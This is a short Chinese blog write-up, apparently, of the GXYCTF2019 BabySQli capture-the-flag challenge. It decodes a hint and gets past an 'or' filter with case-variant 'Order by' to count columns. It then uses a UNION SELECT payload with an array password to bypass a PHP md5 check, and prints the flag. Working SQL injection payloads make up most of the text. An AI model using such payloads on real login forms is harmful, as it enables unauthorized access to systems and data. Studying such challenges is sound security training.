web18([GXYCTF2019]BabySQli):

1.打开BP抓包发现存在提示

提示:
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
经过Base16-32-64-91混合多重解码后:
select * from user where username = '$name'
(注入点是name,这是在提示我表名和列名吧)

2.开始注入
在password处依次输入11'1''无果,发现在username处输入admin'回显语法错误(单引号getdaze)

多次注入后发现oroorrorder by都被过滤了
构造payload(使用大写order的O绕过):依次尝试了

name=admin' Order by 5#&pw=1
#回显:Error: Unknown column '5' in 'order clause'
name=admin' Order by 1#&pw=1
#回显:wrong pass!
name=admin' Order by 3#&pw=1
#回显:wrong pass!
name=admin' Order by 4#&pw=1
#回显:Error: Unknown column '4' in 'order clause'

最终得知一共有3列

瞎注了半小时破防,查看源代码发现要使得第二列的值admin,第三列的值等于md5加密后的pw的值

if($arr[1] == "admin"){
	if(md5($password) == $arr[2]){
		echo $flag;
	}
	else{
		die("wrong pass!");
	}
}
else{
	die("wrong user!");
}

构造payload(md5不能识别数组,所以将第三列设为NULL):
name=a' union select 1,'admin',NULL#&pw[]=123
获得flag

FLAG:flag{ae29c1af-c39e-40b1-97b9-907087edd267}

posted @ 2024-12-03 20:57  舌口  阅读(5)  评论(0编辑  收藏  举报